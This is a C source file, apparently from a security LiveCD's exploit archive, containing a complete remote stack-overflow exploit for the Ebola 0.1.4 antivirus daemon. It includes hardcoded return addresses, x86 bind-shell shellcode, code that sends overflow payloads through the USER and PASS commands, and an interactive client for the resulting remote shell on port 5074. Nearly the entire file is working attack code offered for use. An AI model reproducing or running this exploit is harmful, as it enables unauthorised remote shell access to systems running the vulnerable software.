home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / antivirus / ebola / 0x333ebola.c < prev   
C/C++ Source or Header  |  2005-02-12  |  7KB  |  312 lines

  1. /* 0x333ebola.c => ebola 0.1.4 remote exploit
  2.  *
  3.  *   [-3-] __ OUTSIDERS VIRTUAL SECURITY LABS __ [-3-]
  4.  *
  5.  *    Ebola 0.1.4 remote stack overflow exploit,
  6.  *    bug found by "Secure Network Operations".
  7.  *
  8.  *    Here the bugged code :
  9.  *
  10.  *    [...]
  11.  *    int handle_PASS( int ssocket, char *sentline ){
  12.  *
  13.  *      char *passwd;
  14.  *      char outstr[100];
  15.  *
  16.  *    [...]
  17.  *         else {
  18.  *            sprintf(outstr,"PASS NOT ACCEPTED for user \"%s\", pass \"%s\".\n",username,passwd);
  19.  *            write(ssocket,outstr,strlen(outstr));
  20.  *            sleep(_BAD_PASS_SLEEP_TIME);
  21.  *        }
  22.  *    [...]
  23.  *
  24.  *    Technical details :
  25.  *
  26.  *    - system   : Red Hat Linux 8.0
  27.  *    - package  : ebola-0.1.4.tar.gz (from : http://pldaniels.com/ebola/)
  28.  *    - requires : libsavi (libsavi.so.3.2.07.031) (from http://www.sophos.com)
  29.  *
  30.  *   Note : the exploit is unstable.
  31.  *
  32.  *  coded by c0wboy
  33.  *
  34.  * (c) 0x333 Outsider Security Labs 2003 / www.0x333.org
  35.  *
  36.  */
  37.  
  38.  
  39. #include <stdio.h>
  40. #include <stdlib.h>
  41. #include <string.h>
  42. #include <unistd.h>
  43. #include <sys/socket.h>
  44. #include <sys/types.h>
  45. #include <netinet/in.h>
  46. #include <netdb.h>
  47.  
  48. #define EBOLA     1665
  49. #define SHELL     5074
  50. #define MAX_TG    2
  51.  
  52. int fdsocket, debug = 0x0;
  53. struct sockaddr_in anger;
  54. struct hostent * cya;
  55.  
  56.  
  57. struct {
  58.  
  59.     char *os;     /* system os */
  60.     char *descpr; /* ebola infos */
  61.     int ret;      /* return address */
  62.     int align;    /* align the buffer */
  63.  
  64. } ebola[] = {
  65.  
  66.     { "RedHat 8.0 (Psyche)", "ebola-0.1.4.tar.gz", 0xbfffea1c, 3 },
  67.     { "Generic Linux Test ", "generic ebola!", 0x41414141, 0x0 },
  68.     { "exploit code", "outsiders security labs", 0x333, 0x333 },
  69.  
  70. };
  71.  
  72.  
  73. unsigned char shellcode_1[] = 
  74.     "\x90\x90\x90\x90\x31\xc0\x50\x40\x89\xc3\x50\x40\x50"
  75.     "\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2"
  76.     "\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66"
  77.     "\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80"
  78.     "\x83\xc4\x0c\x52\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1"
  79.     "\xb0\x3f\xcd\x80\xeb\x36";
  80.  
  81. unsigned char shellcode_2[] =
  82.     "\x90\x90\x90\x90\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e"
  83.     "\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89"
  84.     "\xe1\xb0\x0b\xcd\x80";
  85.  
  86.  
  87. void list(void);
  88. void banner(void);
  89. void usage(char *);
  90. void warning(char *);
  91. int ebol4(char *, int, int, int);
  92. int connection(char *, int);
  93. int owned(int);
  94.  
  95.  
  96. void list (void)
  97. {
  98.     int i;
  99.  
  100.     fprintf (stderr, "\n _(0x0)_ targets _(0x0)_\n");
  101.     fprintf (stderr, " ----------------------- \n");
  102.  
  103.     for (i=0; ebola[i].ret != 0x333; i++)
  104.         fprintf (stderr, " _(%d)_ %s [%s]\n", i, ebola[i].os, ebola[i].descpr);
  105.     fprintf (stderr, "\n");
  106.  
  107.     exit(EXIT_FAILURE);
  108. }
  109.  
  110.  
  111. void banner (void)
  112. {
  113.     fprintf (stdout, "\n   ---     0x333ebola => ebola-0.1.4 remote exploit     ---\n");
  114.     fprintf (stdout, "     ---        Outsiders Se(c)urity Labs 2003        ---\n\n");
  115. }
  116.  
  117.  
  118. void usage (char *prg)
  119. {
  120.     banner();
  121.  
  122.     fprintf (stderr, " Usage : %s [-d hostname] [-p port] [-t target] [-l] [-V] [-h]\n\n", prg);
  123.     fprintf (stderr, "\t-d :\thost to attack\n");
  124.     fprintf (stderr, "\t-p :\tebola's port (default %d)\n", EBOLA);
  125.     fprintf (stderr, "\t-t :\tselect a target\n");
  126.     fprintf (stderr, "\t-l :\tlist targets\n");
  127.     fprintf (stderr, "\t-V :\tdebug mode\n");
  128.     fprintf (stderr, "\t-h :\tdisplay this help\n\n");
  129.  
  130.     exit (EXIT_FAILURE);
  131. }
  132.  
  133.  
  134. void warning (char *error)
  135. {
  136.     fprintf (stderr, "%s", error);
  137.     close (fdsocket);
  138.  
  139.     exit (EXIT_FAILURE);
  140. }
  141.  
  142.  
  143. int ebol4 (char *target, int port, int ret, int align)
  144. {
  145.     int i;
  146.     char snd[1024]="", rcv[1024]="";
  147.     char buf1[92], buf2[101];
  148.  
  149.     int *ebol = (int *)(buf2 + align);
  150.  
  151.     if (connection(target, port)) /* connect to server */
  152.         warning ("\n _(0x666)_  Error in connecting to server\n");
  153.     else
  154.         fprintf (stdout, " _(0x1)_  Connected (!)\n");
  155.  
  156.     /* create buffer */
  157.     memset ((char *)buf1, 0x90, sizeof(buf1));
  158.     memcpy ((char *)buf1, shellcode_1, strlen(shellcode_1));
  159.  
  160.     memset ((char *)buf2, 0x90, sizeof(buf2));
  161.     for (i=0; i<15; i+=4, *ebol++ = ret);
  162.  
  163.     memcpy ((char *)buf2+15+12, shellcode_2, strlen(shellcode_2));
  164.  
  165.     recv (fdsocket, rcv, sizeof(rcv), 0x0);
  166.  
  167.     if (debug)
  168.         fprintf (stdout, "\n <debug> server resp. : %s\n", rcv);
  169.  
  170.     fprintf (stdout, " _(0x2)_  Sending USER (shellcode_1)\n");
  171.  
  172.     sprintf (snd, "USER %s\n", buf1);
  173.     write (fdsocket, snd, strlen(snd));
  174.     recv (fdsocket, rcv, sizeof(rcv), 0x0);
  175.  
  176.     if (debug)
  177.     {
  178.         fprintf (stdout, " <debug> [w8ing ...] run gdb then press [ENTER]\n");
  179.         getchar();
  180.     }
  181.  
  182.     fprintf (stdout, " _(0x3)_  Sending PASS (shellcode_2)\n\n");
  183.  
  184.     sprintf (snd, "PASS %s\n", buf2);
  185.     write (fdsocket, snd, strlen(snd));
  186.     recv (fdsocket, rcv, sizeof(rcv), 0x0);
  187.  
  188.     if (debug)
  189.         fprintf (stdout, " <debug> server resp. : %s\n", rcv);
  190.  
  191.     close (fdsocket);
  192.  
  193.     if (!(connection(target, SHELL)))
  194.         owned(fdsocket);
  195.     else
  196.         return 0x666;
  197.  
  198.     return 0x333;
  199. }
  200.  
  201. int connection (char *target, int port)
  202. {
  203.     anger.sin_family = AF_INET;
  204.     anger.sin_port = htons(port);
  205.     cya = gethostbyname(target);
  206.  
  207.     if (cya==0x0)
  208.         return 0x1;
  209.     else
  210.     {
  211.         bcopy (cya->h_addr, &anger.sin_addr, cya->h_length);
  212.  
  213.         if ((fdsocket = socket (AF_INET, SOCK_STREAM, 0x0)) < 0x0)
  214.             return 0x1;
  215.         else
  216.             if ((connect (fdsocket, (struct sockaddr*)&anger, sizeof(anger))) < 0x0)
  217.                 return 0x1;
  218.     }
  219.  
  220.     return 0x0;
  221. }
  222.  
  223.  
  224. int owned (int fdsocket)
  225. {
  226.     int i;
  227.     fd_set hate;
  228.     char outside[1024];
  229.     char *cmd="uname -a;id;\n\n";
  230.  
  231.     FD_ZERO (&hate);
  232.     FD_SET (fdsocket, &hate);
  233.     FD_SET (0, &hate);
  234.  
  235.     fprintf (stdout, " (======owned======) (======owned======) (======owned======)\n\n");
  236.     send (fdsocket, cmd, strlen(cmd), 0x0);
  237.  
  238.     for(;;)
  239.     {
  240.         FD_SET (fdsocket, &hate);
  241.         FD_SET (0, &hate);
  242.  
  243.         if (select(FD_SETSIZE, &hate, NULL, NULL, NULL) < 0x0)
  244.             break;
  245.  
  246.         if (FD_ISSET(fdsocket, &hate))
  247.         {
  248.             if ((i = recv(fdsocket, outside, sizeof(outside)-1, 0x0)) < 0x0)
  249.                 warning (" _(0x333)_  cya hax0r\n");
  250.  
  251.             if (write(1, outside, i) < 0x0)
  252.                 break;
  253.         }
  254.  
  255.         if (FD_ISSET(0x0, &hate))
  256.         {
  257.             if ((i = read(0x0, outside, sizeof (outside)-1)) < 0x0)
  258.                 warning(" _(0x333)_  cya hax0r\n");
  259.  
  260.             if (send(fdsocket, outside, i, 0x0) < 0x0)
  261.                 break;
  262.         }
  263.  
  264.         usleep(10);
  265.     }
  266.  
  267.     fprintf (stderr, " _(0x333)_ cya hax0r\n");
  268.     return 0;
  269. }
  270.  
  271.  
  272. int main (int argc, char **argv)
  273. {
  274.     int c, i = -1, port = EBOLA; 
  275.     char *target =NULL;
  276.     
  277.     while ((c = getopt(argc, argv, "hVlt:d:p:")) != EOF)
  278.     {
  279.         switch (c)
  280.         {
  281.             case 'p' : port = atoi(optarg); break;
  282.             case 'd' : target = optarg; break;
  283.  
  284.             case 't' :
  285.                    i = atoi(optarg);
  286.                    if (i<0 || i>MAX_TG-1)
  287.                        usage(argv[0]);
  288.                    break;
  289.  
  290.             case 'l' : list(); break;
  291.             case 'V' : debug = 0x1; break;
  292.  
  293.             case 'h' :
  294.             default  : usage(argv[0]);
  295.         }
  296.     }
  297.  
  298.     if (target == NULL || i == -1)
  299.         usage(argv[0]);
  300.  
  301.     banner();
  302.  
  303.     fprintf (stdout, " _(0x0)_  Exploiting <%s:%d> on %s\n", target, port, ebola[i].os);
  304.     
  305.     if ((ebol4(target, port, ebola[i].ret, ebola[i].align)) == 0x333)
  306.         return 0;
  307.     else
  308.         warning ("\n _(0x666)_  Exploitation Failed !\n\n");
  309. }
  310.  
  311.  
  312.